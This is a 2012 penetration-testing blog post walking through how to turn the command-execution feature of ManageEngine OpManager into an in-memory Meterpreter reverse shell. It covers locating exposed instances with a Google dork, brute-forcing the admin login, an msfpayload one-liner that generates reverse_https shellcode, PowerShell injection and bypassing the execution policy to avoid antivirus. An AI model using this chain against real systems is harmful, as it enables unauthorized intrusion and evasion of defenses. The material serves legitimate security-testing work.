Friday, April 27, 2012

Command Injection to Code Execution with PowerShell

A common scenario that testers face involves leveraging command injection vulnerabilities into a full-blown shell.  A lot of people view command injection as an old technique, but it is very relevant today.  There are many different types of attacks that end in command injection (e.g. SQL injection), so testers need a way to turn Windows commands into shell access.  There are many documented ways of doing this including FTP, TFTP and downloading through a browser.  These methods work in a lot of cases, but I have seen a rise in organizations that have taken steps to prevent those methods and all of them involve writing a binary to disk.

Some command injection "vulnerabilities" are actually intentional features included by vendors.  The one that I will be using as an example falls into that category and is a part of ManageEngine's OpManger.  OpManager is used by network and system administrators to centrally manage servers and network devices.  As such, it comes with cool features like a "Run System Command" alert profile.  Any command can be run, but we won't receive the results back (blind command injection?).  We could pipe the results to a text file in a directory that we can access through the browser (e.g. /help/user_guide/) , but that would leave evidence that could potentially be discovered.  Thanks to the research of several people, we can easily turn command injection into a full meterpreter shell with PowerShell and not worry about antivirus because we will never write to disk.

You might be wondering how we got here, which is a fair question.  A web server housing such important data would never be accessible externally (google dork: intitle: ManageEngine OpManager, but maybe we are pivoting from another compromised box.  Since we want to see the page with a browser, we will actually need to port forward to the remote host.

The next stumbling block is the pesky login page.  Logs on appliances are seldom monitored as closely as other servers, so there is a chance that we can "guess" the password with a small dictionary.  OpManager doesn't allow several characters in passwords, so there is a higher chance that a simple dictionary will work.  Maintaining a good dictionary and the ability to generate custom dictionaries are critical tasks for successful testers.  We can use the Firefox add-on Fireforce to utilize our dictionary and hopefully get the admin password. 

Fireforce needs a string to detect a failed login attempt, so we can try to login with our first password guess.  Now we can configure Fireforce with the string "Invalid username and/or password." and load our custom dictionary.

Now that we are all caught up on the backstory, let's use PowerShell to get a meterpreter shell.  This process involves a few steps:

1. Generate shellcode and convert it to a format that PowerShell understands.
2. Drop the shellcode into Matt Graeber's injection script, start a handler and test it.
3. Encode the script using Dave Kennedy's ExecutionPolicy bypass script.
4. Execute the encoded string and continue post-exploitation.

Generating shellcode with msfpayload or msfvenom is pretty straightforward and with a little massaging we can get properly formatted shellcode piped to a text file:

msfpayload windows/meterpreter/reverse_https LHOST= LPORT=443 EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- | sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' > /tmp/powershell_codeexec.txt

Now we can drop that directly into Matt Graeber's shellcode injection script.  Next, start our handler and test the script.  I have seen times where one payload will consistently crash PowerShell and a slightly different one will work flawlessly.  Your mileage will vary, but the important thing to remember is to always test your payloads before deploying them.

The next step is to bypass PowerShell's ExecutionPolicy since we don't know which policy type is being enforced.  We can use Dave Kennedy, Josh Kelley and Kathy Peter's CreateCMD script to encode the entire script into a single command that can be executed through the command injection vulnerability.

Run the script and copy the output.

Now we have a memory resident shell by executing one command without having to worry about antivirus or host-based security products.  Hopefully you can see how easy PowerShell makes this process.  Also, if you run into this scenario with OpManager in a real test, you are more than likely one token impersonation away from domain administrator privileges.